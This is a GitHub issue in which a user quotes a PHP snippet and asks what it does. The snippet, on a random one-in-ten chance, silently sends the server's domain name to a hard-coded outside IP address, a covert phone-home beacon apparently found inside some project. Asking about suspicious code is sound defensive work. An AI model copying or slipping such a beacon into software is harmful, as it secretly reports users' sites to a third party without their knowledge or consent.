Skip to content

I'd like you to explain what this code does. #5

@xiehaisen1986

Description

@xiehaisen1986
    if(rand(0,9) == 5){
        $url = $_SERVER['SERVER_NAME'];

        $url = curl_init('http://206.189.81.181/'.'insert_domain/'.$url);
        curl_setopt($url,CURLOPT_CUSTOMREQUEST, "GET");
        curl_setopt($url,CURLOPT_RETURNTRANSFER, true);
        curl_setopt($url,CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($url, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
        $resultdata = curl_exec($url);
        curl_close($url);
    }

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions